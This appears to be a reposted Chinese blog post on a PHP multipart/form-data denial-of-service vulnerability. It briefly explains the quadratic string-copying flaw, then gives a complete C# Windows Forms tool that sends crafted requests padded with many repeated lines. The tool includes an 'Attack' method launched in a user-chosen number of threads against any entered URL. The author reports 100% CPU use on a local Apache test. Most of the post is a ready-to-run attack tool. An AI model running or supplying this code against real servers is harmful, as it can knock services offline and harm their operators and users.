php multipart/form-data DOS C#測試載入器

來源:互聯網
上載者:User

標籤:php   dos   httpwebrequest   c#   漏洞   

根據烏雲網,百度攻防安全實驗室提供的最新漏洞,存在於php各版本:

PHP解析multipart/form-data http請求的body part要求標頭時,重複拷貝字串導致DOS。遠程攻擊者通過發送惡意構造的multipart/form-data請求,導致伺服器CPU資源被耗盡,從而遠程DOS伺服器。

原文連結:http://drops.wooyun.org/papers/6077

大致是因為php解析請求時,是按行讀取資料,然後每讀取一行進行一次記憶體配置和記憶體拷貝,這樣會耗掉n^2的時間,原文的利用方式是Python,現提供C#的代碼:


對本地測試的結果,apache cpu佔用100%:


代碼:

using System;using System.Collections.Generic;using System.Collections.Specialized;using System.ComponentModel;using System.Data;using System.Drawing;using System.IO;using System.Linq;using System.Net;using System.Text;using System.Threading.Tasks;using System.Windows.Forms;using System.Threading;namespace WindowsFormsApplication1{    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();        }        private void button1_Click(object sender, EventArgs e)        {            string s = HttpPostData().ToString();            s = "回應時間:" + s;            MessageBox.Show(s);        }        private double HttpPostData()        {            string url=this.textBox1.Text;            int timeOut = 10000, lcount = int.Parse(textBox2.Text);            string responseContent;            string fileKeyName = "file";            string filePath = "58.jpg";                        var memStream = new MemoryStream();            var webRequest = (HttpWebRequest)WebRequest.Create(url);            // 邊界符            var boundary = "---------------" + DateTime.Now.Ticks.ToString("x");            // 邊界符            var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n");                       // 最後的結束符            var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n");            // 設定屬性            webRequest.Method = "POST";            webRequest.Timeout = timeOut;            webRequest.ContentType = "multipart/form-data; boundary=" + boundary;            // 寫入檔案            const string filePartHeader =                "Content-Disposition: form-data; name=\"{0}\"; filename=\"s";            var header = string.Format(filePartHeader, fileKeyName);            var headerbytes = Encoding.UTF8.GetBytes(header);            memStream.Write(beginBoundary, 0, beginBoundary.Length);            memStream.Write(headerbytes, 0, headerbytes.Length);            var buffer = new byte[2];            buffer = Encoding.UTF8.GetBytes("a\n");            int bytesRead=2; // =0            for (int i = 0; i < lcount;i++ )                memStream.Write(buffer, 0, bytesRead);            var bb = "\"\nContent-Type: application/octet-stream\r\n\r\ndatadata\r\n";            bb += boundary;            bb += "--";            var body = new byte[1024];            body=Encoding.UTF8.GetBytes(bb);                        memStream.Write(body, 0, Encoding.UTF8.GetByteCount(bb));            // 寫入最後的結束邊界符            memStream.Write(endBoundary, 0, endBoundary.Length);            webRequest.ContentLength = memStream.Length;            var requestStream = webRequest.GetRequestStream();            memStream.Position = 0;            var tempBuffer = new byte[memStream.Length];            memStream.Read(tempBuffer, 0, tempBuffer.Length);            memStream.Close();            requestStream.Write(tempBuffer, 0, tempBuffer.Length);            requestStream.Close();            DateTime d = DateTime.Now;            var httpWebResponse = (HttpWebResponse)webRequest.GetResponse();            using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(),                                                            Encoding.GetEncoding("utf-8")))            {                responseContent = httpStreamReader.ReadToEnd();            }                       httpWebResponse.Close();            webRequest.Abort();                        return (DateTime.Now-d).TotalSeconds;        }        private void Attack()        {            string url = this.textBox1.Text;            int timeOut = 10000, lcount = int.Parse(textBox2.Text);            string responseContent;            string fileKeyName = "file";            string filePath = "58.jpg";            var memStream = new MemoryStream();            var webRequest = (HttpWebRequest)WebRequest.Create(url);            // 邊界符            var boundary = "---------------" + DateTime.Now.Ticks.ToString("x");            // 邊界符            var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n");            // 最後的結束符            var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n");            // 設定屬性            webRequest.Method = "POST";            webRequest.Timeout = timeOut;            webRequest.ContentType = "multipart/form-data; boundary=" + boundary;            // 寫入檔案            const string filePartHeader =                "Content-Disposition: form-data; name=\"{0}\"; filename=\"s";            var header = string.Format(filePartHeader, fileKeyName);            var headerbytes = Encoding.UTF8.GetBytes(header);            memStream.Write(beginBoundary, 0, beginBoundary.Length);            memStream.Write(headerbytes, 0, headerbytes.Length);            var buffer = new byte[2];            buffer = Encoding.UTF8.GetBytes("a\n");            int bytesRead = 2; // =0            for (int i = 0; i < lcount; i++)                memStream.Write(buffer, 0, bytesRead);            var bb = "\"\nContent-Type: application/octet-stream\r\n\r\ndatadata\r\n";            bb += boundary;            bb += "--";            var body = new byte[1024];            body = Encoding.UTF8.GetBytes(bb);            memStream.Write(body, 0, Encoding.UTF8.GetByteCount(bb));            // 寫入最後的結束邊界符            memStream.Write(endBoundary, 0, endBoundary.Length);            webRequest.ContentLength = memStream.Length;            var requestStream = webRequest.GetRequestStream();            memStream.Position = 0;            var tempBuffer = new byte[memStream.Length];            memStream.Read(tempBuffer, 0, tempBuffer.Length);            memStream.Close();            requestStream.Write(tempBuffer, 0, tempBuffer.Length);            requestStream.Close();            DateTime d = DateTime.Now;            var httpWebResponse = (HttpWebResponse)webRequest.GetResponse();            using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(),                                                            Encoding.GetEncoding("utf-8")))            {                responseContent = httpStreamReader.ReadToEnd();            }            httpWebResponse.Close();            webRequest.Abort();        }        private void button2_Click(object sender, EventArgs e)        {                        int n = int.Parse(textBox3.Text);             for(int i=0;i<n;i++)            {                new Thread(Attack).Start();            }        }    }}


php multipart/form-data DOS C#測試載入器

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.